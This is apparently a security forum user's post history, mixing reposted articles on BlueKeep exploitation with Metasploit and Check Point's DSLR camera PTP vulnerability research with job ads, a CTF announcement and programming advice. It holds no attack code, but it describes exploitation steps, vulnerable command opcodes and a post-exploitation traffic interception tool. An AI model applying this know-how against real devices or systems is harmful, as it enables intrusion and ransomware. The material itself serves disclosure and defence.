Nytro

Cand o sa am timp o sa fac curatenie (fara sa mai tin cont de vechimea si utilitatea userilor care fac caterinca si injura). Desi nu e cea mai buna intrebare, dati voi dovada de inteligenta si oferiti un raspuns din care sa inteleaga cum functioneaza lucrurile.

Bitdefender is proud to announce PwnThyBytes Capture The Flag – our competitive ethical hacking contest September 17, 2019 2 Min Read We hope you’ve all enjoyed your summer holidays, chilling out on the beach, seeing new places and recharging your batteries. Because this autumn we’ve prepared the first edition of PwnThyBytes CTF, a top-notch global computer security competition, which we hope will be a fun and challenging experience for everybody. The contest starts on September 28th and we’re hyped to give you a sneak peek at what to expect. Information security competitions, such as capture the flag (CTF) contests, have surged in popularity during the past decade. Think of them almost like e-sports for ethical hacking. In line with our mission to safeguard users’ data, we at Bitdefender host this event to bring together some of the most skilled teams around the world in areas such as Reverse Engineering, Binary Exploitation, Web Application Auditing, Computer Forensics Investigation, and Cryptography. We extend a warm invitation to everyone connected to or interested in computer security. Build up a team of friends or seasoned professionals, or even have at it by yourself if that’s your thing. Pit yourselves against the most seasoned security professionals on the CTF scene. Enjoy the experience of displaying your techniques, learning new skills, competing with kindred spirits, all for the chance of claiming the rewards and the glory that comes with them. Do you like delving deep into programs, websites, and anything related to computers? Do you like challenging yourself for the pleasure of improvement? Do you want to see just how good you are compared to the rest? If any of these questions strikes a nerve, click here to register. We look forward to seeing you showcase your skills! What do I need to know? Some skills/knowledge you’ll need throughout the competition: Systems programming and OS internals (Linux, Windows), executable formats knowledge (ELF, PE) Reverse Engineering: anti-reverse techniques, anti-debugging techniques, packers, obfuscation, kernel modules Architectures: X86, X86_64, ARM, Web Assembly Vulnerability analysis and exploitation of binaries Web Application Auditing Computer forensics Investigation: memory forensics, software defined radio, file system forensics Cryptography: symmetric, asymmetric, post-quantum schemes and general math skills Graph algorithms What are the prizes? 1st place: 2,048 € 2nd place: 1,024 € 3rd place: 512 € Sursa: https://labs.bitdefender.com/2019/09/bitdefender-is-proud-to-announce-pwnthybytes-capture-the-flag-our-competitive-ethical-hacking-contest/

How to Exploit BlueKeep Vulnerability with Metasploit Sep 10, 2019 • Razvan Ionescu, Stefan Bratescu, Cristin Sirbu In this article we show our approach for exploiting the RDP BlueKeep vulnerability using the recently proposed Metasploit module. We show how to obtain a Meterpreter shell on a vulnerable Windows 2008 R2 machine by adjusting the Metasploit module code (GROOMBASE and GROOMSIZE values) because the exploit does not currently work out-of-the-box. Further on, we explain the steps we took to make the module work properly on our target machine: Background Prerequisites Installing the Bluekeep exploit module in Metasploit Preparing the target machine Adjusting the BlueKeep exploit Running the exploit module Conclusions 1. Background BlueKeep is a critical Remote Code Execution vulnerability in Microsoft’s RDP service. Since the vulnerability is wormable, it has caught a great deal of attention from the security community, being in the same category with EternalBlue MS17-010 and Conficker MS08-067. You can read an in-depth analysis of the BlueKeep vulnerability on our blog post. A few days ago, a Metasploit contributor - zerosum0x0 - has submitted a pull request to the framework containing an exploit module for BlueKeep(CVE-2019-0708). The Rapid7 team has also published an article about this exploit on their blog. As of now, the module is not yet integrated into the main Metasploit branch (it’s still a pull request) and it only targets Windows 2008 R2 and Windows 7 SP1, 64-bit versions. Furthermore, the module is now ranked as Manual since the user needs to provide additional information about the target, otherwise it risks of crashing it with BSOD Articol complet: https://pentest-tools.com/blog/bluekeep-exploit-metasploit/

Da, nu e tocmai fiabil, e open-source. Probabil sunt versiuni mult mai stabile, desi nu cred ca 100%.

NetRipper is a post exploitation tool targeting Windows systems which uses API hooking in order to intercept network traffic and encryption related functions from a low privileged user, being able to capture both plain-text traffic and encrypted traffic before encryption/after decryption. https://github.com/NytroRST/NetRipper

Eu am facut ceva de genul acesta pentru Shellcode compiler, insa nu stiu daca metoda mea e cea mai potrivita. In principiu ar trebui sa folosesti niste tokens (e.g. caractere speciale) si in functie de ele sa faci ce ai de facut. Nu stiu sa explic cum functioneaza, insa gasesti tutoriale legate de asa ceva si chiar si implementari de compilere C (basic) si probabil alte limbaje. Ce am facut eu a fost sa definesc un "state machine". Ideea mea e simpla: sunt in starea "x" (de exemplu starea neutra, in care astept ceva util, gen declarare de functie sau apel de functie). Apoi citesc caracter cu caracter in functie de starea mea. In limbajul meu poti defini o functie folosind "function nume_functie(parametri)" iar eu citesc doar caractere alfa numerice pana la un alt caracter. Daca e cuvantul e "function" inseamna ca utilizatorul vrea sa declare o functie si trec in starea de citire de declaratie de functie. Daca e altceva, ma astept sa vrea sa apeleze o functie si trec in starea respectiva. Pentru declararea de functie ma astept sa urmeze un spatiu (sau mai multe, sau tab-uri, in functie de cat de permisiv vrei sa fii). Daca nu sunt, poc, eroare. Daca da, trec in starea de citire a numelui functie (alpha numeric) pana la intalnirea caracterului "(" care indica faptul ca urmeaza parametrii). Si tot asa... Nu stiu care solutie ar fi mai buna, solutia mea mi s-a parut simpla, dar poate sa nu fie cea mai buna si mai practica. Daca vrei sa o folosesti, ia o foaie si un pix si deseneaza state machine-ul, cum vrei sa arate si prin ce caractere in ce alte stari sa ajunga. PS: La trecerea dintre stari trebuie sa salvezi niste date, cum ar fi numele unei functii.

Initial Metasploit Exploit Module for BlueKeep (CVE-2019-0708) by Brent Cook Sep 06, 2019 Today, Metasploit is releasing an initial public exploit module for CVE-2019-0708, also known as BlueKeep, as a pull request on Metasploit Framework. The initial PR of the exploit module targets 64-bit versions of Windows 7 and Windows 2008 R2. The module builds on proof-of-concept code from Metasploit contributor @zerosum0x0, who also contributed Metasploit’s BlueKeep scanner module and the scanner and exploit modules for EternalBlue. Metasploit’s exploit makes use of an improved general-purpose RDP protocol library, as well as enhanced RDP fingerprinting capabilities, both of which will benefit Metasploit users and contributors well beyond the context of BlueKeep scanning and exploitation. As an open-source project, one of Metasploit’s guiding principles is that knowledge is most powerful when shared. Democratic access to attacker capabilities, including exploits, is critical for defenders—particularly those who rely on open-source tooling to understand and effectively mitigate risk. Exploitation notes By default, Metasploit’s BlueKeep exploit only identifies the target operating system version and whether the target is likely to be vulnerable. The exploit does not currently support automatic targeting; it requires the user to manually specify target details before it will attempt further exploitation. If the module is interrupted during exploitation, or if the incorrect target is specified, the target will crash with a bluescreen. Users should also note that some elements of the exploit require knowledge of how Windows kernel memory is laid out, which varies depending on both OS version and the underlying host platform (virtual or physical); the user currently needs to specify this correctly to run the exploit successfully. Server versions of Windows also require a non-default configuration for successful exploitation—namely, changing a registry setting to enable audio sharing. This limitation may be removed in the future. One of the drivers in our releasing the exploit code today as a PR on Metasploit Framework is to enlist the help of the global developer and user community to test, verify, and extend reliability across target environments. As with many Metasploit exploits whose utility has endured over the years, we expect to continue refining the BlueKeep exploit over time. We look forward to working with the Metasploit community to add support for automatic targeting, improve reliability, and expand the range of possible targets. In addition to PoC contributors @zerosum0x0 and @ryHanson, we owe many (many!) enthusiastic thanks to @TheColonial, [@rickoates],(https://twitter.com/rickoates) @zeroSteiner, @TomSellers, @wvu, @bwatters, @sinn3r, and the rest of the Metasploit development team for their invaluable assistance and leadership on development (which included an extensive port of zerosum0x0’s original Python exploit code to Ruby), testing, and integration. New folks interested in joining the list of testers and contributors can get started here! Detection and solution notes Defenders may want to note that BlueKeep exploitation looks similar to a BlueKeep vulnerability scanner at the network level. If your network IDS/IPS is already able to detect the scanner sequence, it almost certainly detects the exploit as well. For host-based IDS/IPS users, the kernel shellcode loads a child process to the Windows process spoolsv.exe by default, which is a similar indicator of compromise to exploits such as EternalBlue (MS17-010). All that said, there's one important caveat for Metasploit payload detection tools, such as those that alert on generic meterpreter payloads in network traffic: If an intrusion prevention system interrupts in-progress BlueKeep exploitation simply because it detects a payload signature against an unpatched target, breaking that network connection will likely crash the target as a side effect, since the exploit code is actually triggered by a network disconnect. Because of this, users are urged to test their IPS against this Metasploit module once the PR is merged into the Framework master branch. While specific defenses and detection against this particular exploit are useful, newer RDP vulnerabilities in the ‘DejaBlue’ family have underscored this protocol in general as a risk. The protocol’s inherent complexity suggests that the known bugs today will not be the last, particularly since exploit developers and researchers now have a more nuanced understanding of RDP and its weaknesses. Continued exploitation is likely, as is increased exploit sophistication. If you still need to use RDP in your environment, then in addition to standard recommendations such as enabling Network Level Authentication, tightening your network access controls will also go a long way toward mitigating future vulnerabilities. The broader security community has emphasized the importance and urgency of patching against CVE-2019-0708. We echo this advice: Rapid7 Labs has previously written about the uptick in malicious RDP activity they have observed since the publication of the BlueKeep vulnerability. Rapid7 Labs has not observed an increased barrage of incoming attacks against RDP past the initial uptick in malicious activity after BlueKeep was published. The chart above looks similar to the Labs team’s previous report on RDP and while activity is at elevated levels when compared to a year ago, overall opportunistic attacker activity is much lower than we expected to see by this point in the post-vulnerability release cycle. Our research partners at BinaryEdge have up-to-date scan results for systems vulnerable to BlueKeep and have indicated they are still observing just over 1 million exposed nodes. For profiles of attacker activity and detailed recommendations on defending against BlueKeep exploitation, see Rapid7’s previous analysis here. About Metasploit and Rapid7 Metasploit is a collaboration between Rapid7 and the open-source community. Together, we empower defenders with world-class offensive security content and the ability to understand, exploit, and share vulnerabilities. For more information, see https://www.metasploit.com. Sursa: https://blog.rapid7.com/2019/09/06/initial-metasploit-exploit-module-for-bluekeep-cve-2019-0708/amp/?__twitter_impression=true

Daca e cineva interesat de programul bug bounty (pprivat) astept un PM.

Da, un lucru util de stiut e ca daca vrei sa castigi mai mult, trebuie sa schimbi firma la care lucrezi din cand in cand.

Da, daca se pune problema asa, am auzit ca ar fi doar vreo 3 persoane in Romania care stiu nu stiu ce limbaj folosit de catre cateva companii imense (extrem de vechi limbajul, de aceea nu il stiu si alte persoane). Aceste persoane se stiu intre ele si au salarii uriase. Dar daca o companie trece pe ceva mai nou, ce job isi mai gasesti una dintre acele persoane? Acum se pune problema urmatoare: daca inveti X iti gasesti loc de munca in Romania? Nu am vazut prea multe pozitii pe "R", "Scala" sau "Elixir" (ce sloboz mai e si asta?). Am lucrat cu mai multe firme (mari) in Romania care dezvoltau in Java si erau in continua cautare de oameni (bine, recunosc, seniori). Si desigur, plateau foarte bine. Puteti face un test simplu: 387 Jobs java, 124 Jobs php, 281 Jobs javascript, 26 Jobs swift, 40 Jobs ruby ... Dand un simplu search pe BestJobs.

Daca vrei sa ai o afacere, evident, e foarte bine sa fii foarte bun din punct de vedere tehnic, insa nu e de ajuns. Pentru gasit clienti iti trebuie niste lucruri: relatii/cunostiinte daca se poate, aptitudini de vanzari, marketing, PR...

Din cate stiu eu, Java e cel mai cautat si mai bine platit. Nu stiu de JavaScript, dar PHP cred ca este undeva mai jos ca Java. Ideea e ca firmele mari, corporatiile, vor software custom, rapid si stabil si folosesc Java cu framework-uri ca Spring(Boot) si Hibernate. Si par sa fie mai multe firme care abordeaza lucrurile astfel, spre deosebire de PHP. PS: E doar parerea mea, nu trebuie sa iei asta drept ceva sigur.

Acela este "Vulnerability Disclosure Program", nu se plateste, dar se ofera reputatie HackerOne. Bug bounty e momentan privat (invite-only). Parca (nu ma ocup eu de el).

Iti dau PM.

Ca beneficii firma ofera tot ce v-ati putea dori. Ca pozitie, ar fi OK ca persoana sa fie senior si sa se poata descurca singura pe un proiect. Sunt multe aplicatii web, asta cred ca e cel mai important, dar si multe alte lucruri. PS: Avem si bug bounty daca sunt persoane interesate. Cine vrea sa stie mai multe, astept PM. Sau ne vedem la Defcamp.

Mersi! Nu cred ca s-au schimbat prea multe, cred ca lucrurile sunt cam la fel. Da, o sa fim la Defcamp si anul acesta. @BiosHell - Din pacate nu, e nevoie de oameni cu experienta care sa primeasca un proiect si sa se descurce singuri.

Nu stiu despre aceasta versiune, insa in trecut au existat astfel de keygen-uri pentru Burp infectate. Eu recomand sa dati 300 de EURO pe aplicatie, pentru ca merita.

Da, de cateva luni.

Accelerate Human Achievement: that is UiPath's purpose. We are the leader in Robotic Process Automation (RPA) and the highest-valued AI enterprise software company in the world. With over $568 million in funding from top venture capital firms like Accel, CapitalG, Kleiner Perkins, Sequoia, IVP, Madrona Venture Group, Meritech Capital & Coatue, we are on an unprecedented trajectory of growth. With this funding, we have an incredible opportunity to improve the way people work globally. Our award-winning company culture values humility, and leaders who know how to listen. CEO Daniel Dines’ primary goal was to build a company where he would love to work, and even now, with thousands of employees in tens of countries, that remains our top priority. We trust and empower our colleagues, and together we make sure we have everything we need to do our best work, from the support of strong leaders to awesome perks and benefits. UiPath is looking for a Penetration Tester to help and grow the security related operations within the fast-growing product teams across the company. This is a deeply technical role which implies developing and applying formal security centric assessments against existing and in-development UiPath products and features. The Pen Tester will analyze product functional and security requirements and use state of the art testing tools, or develop/automate new tools, as needed, to assess the security level provided. It will also assist in investigating security incidents. The Penetration Tester will work with Security Engineers, together with stakeholders, and is responsible of detailing and executing the testing plans and strategies, while also building clear and concise final reports. A successful Penetration Tester at UiPath is a self-starter, with strong analytical and problem-solving skills. Ability to maneuver in a fast-paced environment is critical, as well as handling ambiguity coupled with a deep understanding of various security threats. As a true owner of security in UiPath, great writing skills are needed, coupled with the ability to interact with stakeholders across multiple departments and teams. The Senior Penetration Tester acts as a mentor for technical peers and can transpose testing strategies and results in high level non-technical language. Here's What You Would Be Doing At UiPath Penetration testing & vulnerability research Developing automated security research tools Assist internal and external customers in investigating security incidents Recommendation of threat mitigations Security training and outreach to internal development teams Security guidance documentation Security tool development Security metrics delivery and improvements Assistance with recruiting activities What You Will Bring BS in Computer Science or related field, or equivalent work experience Minimum of 5 years of experience with vulnerability testing and auditing techniques Minimum of 3 year of experience in coding/scripting (Python,C,C++,x86/x64 assembly language) Good understanding of cyber-attack tools and techniques Experience writing POCs for discovered vulnerabilities Good knowledge of system and network security Advanced knowledge and understanding of security engineering, authentication and security protocols, cryptography, and application security Experience using various penetration testing tools (such as, BurpSuite, Metasploit, Nessus, etc.) Experience using debuggers, disassemblers for reverse engineering (Ida) Experience with forensics (preferably related to APTs) We are offering the possibility to work from home or flexible working hours, a competitive salary package, a Stock Options Plan and the unique opportunity of working with us to develop state-of-the-art robotics technology are just a few of the pluses. We must have caught your attention if you've read so far, so we should talk. At UiPath, we value a range of diverse backgrounds experiences and ideas. We pride ourselves on our diversity and inclusive workplace that provides equal opportunities to all persons regardless of race, color, religion, sex, sexual orientation, gender identity and expression, national origin, disability, military and/or veteran status, or any other protected classes. At UiPath, we value a range of diverse backgrounds experiences and ideas. We pride ourselves on our diversity and inclusive workplace that provides equal opportunities to all persons regardless of race, color, religion, sex, sexual orientation, gender identity and expression, national origin, disability, military and/or veteran status, or any other protected classes. Seniority Level Mid-Senior level Industry Information Technology & Services Computer Software Internet Employment Type Full-time Job Functions Linkedin: https://www.linkedin.com/jobs/view/1405924525/ Daca e cineva interesat, astept PM.

Accelerate Human Achievement: that is UiPath's purpose. We are the leader in Robotic Process Automation (RPA) and the highest-valued AI enterprise software company in the world. With over $568 million in funding from top venture capital firms like Accel, CapitalG, Kleiner Perkins, Sequoia, IVP, Madrona Venture Group, Meritech Capital & Coatue, we are on an unprecedented trajectory of growth. With this funding, we have an incredible opportunity to improve the way people work globally. Our award-winning company culture values humility, and leaders who know how to listen. CEO Daniel Dines’ primary goal was to build a company where he would love to work, and even now, with thousands of employees in tens of countries, that remains our top priority. We trust and empower our colleagues, and together we make sure we have everything we need to do our best work, from the support of strong leaders to awesome perks and benefits. Come join us security team as an integral part of UiPath's product team. Collaborate with product managers, developers and legal department to understand UiPath’s external and internal security and privacy compliance requirements. Here's What You Would Be Doing At UiPath Bring your security monitoring experience to UiPath Build a security monitoring strategy and plan for UiPath hosted online services Collaborate with security engineers and penetration testers and incorporate their feedback into specific requirements for monitoring against advanced threats Identify opportunities to build scripts and tools that enable deeper insight into security state of our online servers Based on our service(s) components and architecture, define and build meaningful sources of security alerts that provide useful insight into the the security and compliance posture of UiPaths’ online environment Collaborate with development and IT teams in setting up and configuring the tools and systems needed to implement your monitoring strategy and plan Continuously enhance your monitoring strategy by staying on top of Changes in infrastructure and services running in UiPath online environment Innovation in tools provided by cloud service providers to detect and control threats Threat intelligence in the industry to identify potential threats applicable to UiPath online environment Bring your incident management experience to UiPath Analyze security alerts and turn them into actionable follow-up items through collaborative investigation and triage with development and IT teams Define incident response process and a playbook for stakeholders in development, IT and SRE teams Integrate security incident response process with existing tools for incident response in the company Build effective and actionable reports for development staff and management stakeholders What You Will Bring Proven track record (10+ years experience) in the security monitoring space, delivering meaningful results for a high volume, high complexity SaaS business Strong understanding and evidence of hands-on knowledge and experience in the following areas of security monitoring and incident response Security Monitoring Web application layer attacks and firewalls Denial of service attacks and cloud service providers native protections User and network level access control violations Phishing attacks File integrity monitoring Security configuration drift Security patch management Critical workload process monitoring User and system account compromise Incident Response Pre-Breach incident management table tops and drills Post-Breach incident management playbooks Stellar teamwork and collaboration skills. Proven track record of effectively working with remote teams Proven ability to wear multiple hats, prioritize, not get stuck, and adapt in an environment that’s growing and changing fast Prior experience with Azure Security Monitoring Prior experience with incident management toolset You’d be part of the strongest security and compliance management team in the world - we only hire the top 1% of the top 1%. Why to work with us? We are offering the possibility to work from home or flexible working hours, a competitive salary package, a Stock Options's Plan and the unique opportunity of working with us to develop state-of-the-art robotics technology are just a few of the pluses. We must have caught your attention if you've read so far, so we should talk. At UiPath, we value a range of diverse backgrounds experiences and ideas. We pride ourselves on our diversity and inclusive workplace that provides equal opportunities to all persons regardless of race, color, religion, sex, sexual orientation, gender identity and expression, national origin, disability, military and/or veteran status, or any other protected classes. At UiPath, we value a range of diverse backgrounds experiences and ideas. We pride ourselves on our diversity and inclusive workplace that provides equal opportunities to all persons regardless of race, color, religion, sex, sexual orientation, gender identity and expression, national origin, disability, military and/or veteran status, or any other protected classes. Seniority Level Mid-Senior level Industry Information Technology & Services Computer Software Internet Employment Type Full-time Job Functions Linkedin: https://www.linkedin.com/jobs/view/1405925374/ Daca e cineva interesat, astept PM.

Mai doreste cineva invitatie?

Every Security Team is a Software Team Now by Dino Dai Zovi As software is eating the world, every company is becoming a software company. This doesn’t mean that every company is shipping software products, it means that services and products in every field are becoming increasingly driven, powered, and differentiated by software. Let’s explore what that will do to how cybersecurity is practiced in enterprises of all types. Peter Drucker famously said that “Culture eats strategy for breakfast.” There have been two large cultural shifts in software engineering over the last 20 years that created the successful strategies behind how software is eating the world. First, there was Agile (2001). In response to the inefficiencies of classic “waterfall” software development, Agile focused on breaking down the barriers between software requirements, development, and testing by having software development teams own their roadmaps as well as their quality. Separate product management organizations evolved into product owners working directly with the software team. Similarly, separate quality assurance organizations evolved into a focus on building quality into the software development process. This should remind us of how we talk about needing to build security in, but most importantly, this change was effected by software teams themselves vs. forced onto them by a separate security organization. There is a lesson to be learned there. Next came DevOps (2009), which brought the agile mindset to server operations. Software teams now began to own their deployment and their uptime. Treating software teams as the end-user and customer has driven the replacement of traditional ops with the cloud and replacing the traditional stack with serverless models. Ops teams evolved into software teams that provide platforms, tools, and self-service infrastructure to internal teams. They provide value by increasing internal teams’ productivity while reducing costs to the entire organization through economies of scale and other efficiencies. When a cross-functional team owns their features, their quality, their deployment, and their uptime, they fully own their end-to-end value stream. Next, they will evolve to also own their own risks and fully own their end-to-end impact. There are two big shifts involved as teams begin to own their end-to-end impact: software teams need to own their own security now and security teams need to become full-stack software teams. Just as separate product management and quality assurance organizations diffused into cross-functional software teams, security must now do the same. At his re:Invent 2018 Keynote, Amazon’s CTO Werner Vogels proclaimed that “security is everyone’s job now, not just the security team’s.” But if security is every teams’ job, what is the security team’s job? Just like how classic ops teams became internal infrastructure software teams, security teams will become internal security software teams that deliver value to internal teams through self-service platforms and tools. Security teams that adopt this approach will reduce the risk to the organization the most while also minimizing impact to overall productivity. In this talk, we’ll explore how this is already being done across high-performing companies and how to foster this security transformation at yours.

Say Cheese: Ransomware-ing a DSLR Camera August 11, 2019 Research by: Eyal Itkin TL;DR Cameras. We take them to every important life event, we bring them on our vacations, and we store them in a protective case to keep them safe during transit. Cameras are more than just a tool or toy; we entrust them with our very memories, and so they are very important to us. In this blog, we recount how we at Check Point Research went on a journey to test if hackers could hit us in this exact sweet spot. We asked: Could hackers take over our cameras, the guardians of our precious moments, and infect them with ransomware? And the answer is: Yes. Background: DSLR cameras aren’t your grandparents’ cameras, those enormous antique film contraptions you might find up in the attic. Today’s cameras are embedded digital devices that connect to our computers using USB, and the newest models even support WiFi. While USB and WiFi are used to import our pictures from the camera to our mobile phone or PC, they also expose our camera to its surrounding environment. Our research shows how an attacker in close proximity (WiFi), or an attacker who already hijacked our PC (USB), can also propagate to and infect our beloved cameras with malware. Imagine how would you respond if attackers inject ransomware into both your computer and the camera, causing them to hold all of your pictures hostage unless you pay ransom. Below is a Video Demonstration of this attack: Technical Details Picture Transfer Protocol (PTP) Modern DSLR cameras no longer use film to capture and later reproduce images. Instead, the International Imaging Industry Association devised a standardised protocol to transfer digital images from your camera to your computer. This protocol is called the Picture Transfer Protocol (PTP). Initially focused on image transfer, this protocol now contains dozens of different commands that support anything from taking a live picture to upgrading the camera’s firmware. Although most users connect their camera to their PC using a USB cable, newer camera models now support WiFi. This means that what was once a PTP/USB protocol that was accessible only to the USB connected devices, is now also PTP/IP that is accessible to every WiFi-enabled device in close proximity. In a previous talk named “Paparazzi over IP” (HITB 2013), Daniel Mende (ERNW) demonstrated all of the different network attacks that are possible for each network protocol that Canon’s EOS cameras supported at the time. At the end of his talk, Daniel discussed the PTP/IP network protocol, showing that an attacker could communicate with the camera by sniffing a specific GUID from the network, a GUID that was generated when the target’s computer got paired with the camera. As the PTP protocol offers a variety of commands, and is not authenticated or encrypted in any way, he demonstrated how he (mis)used the protocol’s functionality for spying over a victim. In our research we aim to advance beyond the point of accessing and using the protocol’s functionality. Simulating attackers, we want to find implementation vulnerabilities in the protocol, hoping to leverage them in order to take over the camera. Such a Remote Code Execution (RCE) scenario will allow attackers to do whatever they want with the camera, and infecting it with Ransomware is only one of many options. From an attacker’s perspective, the PTP layer looks like a great target: PTP is an unauthenticated protocol that supports dozens of different complex commands. Vulnerability in PTP can be equally exploited over USB and over WiFi. The WiFi support makes our cameras more accessible to nearby attackers. In this blog, we focus on the PTP as our attack vector, describing two potential avenues for attackers: USB – For an attacker that took over your PC, and now wants to propagate into your camera. WiFi – An attacker can place a rogue WiFi access point at a tourist attraction, to infect your camera. In both cases, the attackers are going after your camera. If they’re successful, the chances are you’ll have to pay ransom to free up your beloved camera and picture files. Introducing our target We chose to focus on Canon’s EOS 80D DSLR camera for multiple reasons, including: Canon is the largest DSLR maker, controlling more than 50% of the market. The EOS 80D supports both USB and WiFi. Canon has an extensive “modding” community, called Magic Lantern. Magic Lantern (ML) is an open-source free software add-on that adds new features to the Canon EOS cameras. As a result, the ML community already studied parts of the firmware, and documented some of its APIs. Attackers are profit-maximisers, they strive to get the maximum impact (profit) with minimal effort (cost). In this case, research on Canon cameras will have the highest impact for users, and will be the easiest to start, thanks to the existing documentation created by the ML community. Obtaining the firmware This is often the trickiest part of every embedded research. The first step is to check if there is a publicly available firmware update file in the vendor’s website. As expected, we found it after a short Google search. After downloading the file and extracting the archive, we had an unpleasant surprise. The file appears to be encrypted / compressed, as can be seen in Figure 1. Figure 1 – Byte histogram of the firmware update file. The even byte distribution hints that the firmware is encrypted or compressed, and that whatever algorithm was used was probably a good one. Skimming through the file, we failed to find any useful pattern that could potentially be a hint of the existence of the assembly code for a bootloader. In many cases, the bootloader is uncompressed, and it contains the instructions needed for the decryption / decompression of the file. Trying several decompression tools, such as Binwalk or 7Zip, produced no results, meaning that this is a proprietary compression scheme, or even an encryption. Encrypted firmware files are quite rare, due to the added costs of key management implications for the vendor. Feeling stuck, we went back to Google, and checked what the internet has to say about this .FIR file. Here we can see the major benefit of studying a device with an extensive modding community, as ML also had to work around this limitation. And indeed, in their wiki, we found this page that describes the “update protection” of the firmware update files, as deployed in multiple versions over the years. Unfortunately for us, this confirms our initial guess: the firmware is AES encrypted. Being open-source, we hoped that ML would somehow publish this encryption key, allowing us to decrypt the firmware on our own. Unfortunately, that turned out not to be the case. Not only does ML intentionally keep the encryption key secret, we couldn’t even find the key anywhere in the internet. Yet another dead end. The next thing to check was if ML ported their software to our camera model, on the chance it contains debugging functionality that will help us dump the firmware. Although such a port has yet to be released, while reading through their forums and Wiki, we did find a breakthrough. ML developed something called Portable ROM Dumper. This is a custom firmware update file that once loaded, dumps the memory of the camera into the SD Card. Figure 2 shows a picture of the camera during a ROM dump. Figure 2 – Image taken during a ROM Dump of the EOS 80D. Using the instructions supplied in the forum, we successfully dumped the camera’s firmware and loaded it into our disassembler (IDA Pro). Now we can finally start looking for vulnerabilities in the camera. Reversing the PTP layer Finding the PTP layer was quite easy, due to the combination of two useful resources: The PTP layer is command-based, and every command has a unique numeric opcode. The firmware contains many indicative strings, which eases the task of reverse-engineering it. Figure 3 – PTP-related string from the firmware. Traversing back from the PTP OpenSession handler, we found the main function that registers all of the PTP handlers according to their opcodes. A quick check assured us that the strings in the firmware match the documentation we found online. When looking on the registration function, we realized that the PTP layer is a promising attack surface. The function registers 148 different handlers, pointing to the fact that the vendor supports many proprietary commands. With almost 150 different commands implemented, the odds of finding a critical vulnerability in one of them is very high. PTP Handler API Each PTP command handler implements the same code API. The API makes use of the ptp_context object, an object that is partially documented thanks to ML. Figure 4 shows an example use case of the ptp_context: Figure 4 – Decompiled PTP handler, using the ptp_context object. As we can see, the context contains function pointers that are used for: Querying about the size of the incoming message. Receiving the incoming message. Sending back the response after handling the message. It turns out that most of the commands are relatively simple. They receive only a few numeric arguments, as the protocol supports up to 5 such arguments for every command. After scanning all of the supported commands, the list of 148 commands was quickly narrowed down to 38 commands that receive an input buffer. From an attacker’s viewpoint, we have full control of this input buffer, and therefore, we can start looking for vulnerabilities in this much smaller set of commands. Luckily for us, the parsing code for each command uses plain C code and is quite straight-forward to analyze. Soon enough, we found our first vulnerability. CVE-2019-5994 – Buffer Overflow in SendObjectInfo – 0x100C PTP Command Name: SendObjectInfo PTP Command Opcode: 0x100c Internally, the protocol refers to supported files and images as “Objects”, and in this command the user updates the metadata of a given object. The handler contains a Buffer Overflow vulnerability when parsing what was supposed to be the Unicode filename of the object. Figure 5 shows a simplified code version of the vulnerable piece of code: Figure 5 – Vulnerable code snippet from the SendObjectInfo handler. This is a Buffer Overflow inside a main global context. Without reversing the different fields in this context, the only direct implication we have is the Free-Where primitive that is located right after our copy. Our copy can modify the pKeywordsStringUnicode field into an arbitrary value, and later trigger a call to free it. This looks like a good way to start our research, but we continued looking for a vulnerability that is easier to exploit. CVE-2019-5998 – Buffer Overflow in NotifyBtStatus – 0x91F9 PTP Command Name: NotifyBtStatus PTP Command Opcode: 0x91F9 Even though our camera model doesn’t support Bluetooth, some Bluetooth-related commands were apparently left behind, and are still accessible to attackers. In this case, we found a classic Stack-Based Buffer Overflow, as can be seen in Figure 6. Figure 6 – Vulnerable code snippet from the NotifyBtStatus handler. Exploiting this vulnerability will be easy, making it our prime target for exploitation. We would usually stop the code audit at this point, but as we are pretty close to the end of the handler’s list, let’s finish going over the rest. CVE-2019-5999– Buffer Overflow in BLERequest – 0x914C PTP Command Name: BLERequest PTP Command Opcode: 0x914C It looks like the Bluetooth commands are more vulnerable than the others, which may suggest a less experienced development team. This time we found a Heap-Based Buffer Overflow, as can be seen in Figure 7. Figure 7 – Vulnerable code snippet from the BLERequest handler. We now have 3 similar vulnerabilities: Buffer Overflow over a global structure. Buffer Overflow over the stack. Buffer Overflow over the heap. As mentioned previously, we will attempt to exploit the Stack-Based vulnerability, which will hopefully be the easiest. Gaining Code Execution We started by connecting the camera to our computer using a USB cable. We previously used the USB interface together with Canon’s “EOS Utility” software, and it seems natural to attempt to exploit it first over the USB transport layer. Searching for a PTP Python library, we found ptpy, which didn’t work straight out of the box, but still saved us important time in our setup. Before writing a code execution exploit, we started with a small Proof-of-Concept (PoC) that will trigger each of the vulnerabilities we found, hopefully ending in the camera crashing. Figure 8 shows how the camera crashes, in what is described by the vendor as “Err 70.” Figure 8 – Crash screen we received when we tested our exploit PoCs. Now that we are sure that all of our vulnerabilities indeed work, it’s time to start the real exploit development. Basic recap of our tools thus far: Our camera has no debugger or ML on it. The camera wasn’t opened yet, meaning we don’t have any hardware-based debugging interface. We don’t know anything about the address space of the firmware, except the code addresses we see in our disassembler. The bottom line is that we are connected to the camera using a USB cable, and we want to blindly exploit a Stack-Based buffer overflow. Let’s get started. Our plan is to use the Sleep() function as a breakpoint, and test if we can see the device crash after a given number of seconds. This will confirm that we took over the execution flow and triggered the call to Sleep(). This all sounds good on paper, but the camera had other plans. Most of the time, the vulnerable task simply died without triggering a crash, thus causing the camera to hang. Needless to say, we can’t differentiate between a hang, and a sleep and then hang, making our breakpoint strategy quite pointless. Originally, we wanted a way to know that the execution flow reached our controlled code. We therefore decided to flip our strategy. We found a code address that always triggers an Err 70 when reached. From now on, our breakpoint will be a call to that address. A crash means we hit our breakpoint, and “nothing”, a hang, means we didn’t reach it. We gradually constructed our exploit until eventually we were able to execute our own assembly snippet – we now have code execution. Loading Scout Scout is my goto debugger. It is an instruction-based debugger that I developed during the FAX research, and that proved itself useful in this research as well. However, we usually use the basic TCP loader for Scout, which requires network connectivity. While we can use a file loader that will load Scout from the SD Card, we will later need the same network connectivity for Scout, so we might as well solve this issue now for them both. After playing with the different settings in the camera, we realized that the WiFi can’t be used while the USB is connected, most likely because they are both meant to be used by the PTP layer, and there is no support for using them both at the same time. So we decided the time had come to move on from the USB to WiFi. We can’t say that switching to the WiFi interface worked out of the box, but eventually we had a Python script that was able to send the same exploit script, this time over the air. Unfortunately, our script broke. After intensive examination, our best guess is that the camera crashes before we return back from the vulnerable function, effectively blocking the Stack-Based vulnerability. While we have no idea why it crashes, it seems that sending a notification about the Bluetooth status, when connecting over WiFi, simply confuses the camera. Especially when it doesn’t even support Bluetooth. We went back to the drawing-board. We could try to exploit one of the other two vulnerabilities. However, one of them is also in the Bluetooth module, and it doesn’t look promising. Instead, we 